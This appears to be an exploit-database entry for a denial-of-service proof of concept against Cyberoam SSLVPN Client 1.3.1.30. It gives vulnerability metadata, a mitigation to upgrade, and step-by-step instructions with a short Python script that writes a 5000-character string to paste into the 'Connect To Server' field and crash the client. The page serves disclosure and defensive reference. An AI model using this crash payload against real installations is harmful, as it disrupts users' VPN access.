Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)

vendor:

Cyberoam SSLVPN Client

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Cyberoam SSLVPN Client

Affected Version From: 1.3.1.30

Affected Version To: 1.3.1.30

Patch Exists: YES

Related CWE: N/A

CPE: a:cyberoam:cyberoam_sslvpn_client

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

2019

Cyberoam SSLVPN Client 1.3.1.30 – ‘Connect To Server’ Denial of Service (PoC)

A denial of service vulnerability exists in Cyberoam SSLVPN Client 1.3.1.30 when a maliciously crafted 'Connect To Server' field is sent to the application. An attacker can leverage this vulnerability to crash the application, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of Cyberoam SSLVPN Client.

Source

Exploit-DB raw data:

#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip
#Tested Version: 1.3.1.30
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: c_sslvpn_cts.py
#2.- Open c_sslvpn_cts.txt and copy content to clipboard
#3.- Open Cyberoam SSLVPN Client
#4.- Select Server Settings 
#5.- In "Connect To Server" field paste Clipboard
#6.- In "Port" type 80
#7.- Select "OK"
#8.- Crashed! 

cod = "\x41" * 5000

f = open('c_sslvpn_cts.txt', 'w')
f.write(cod)
f.close()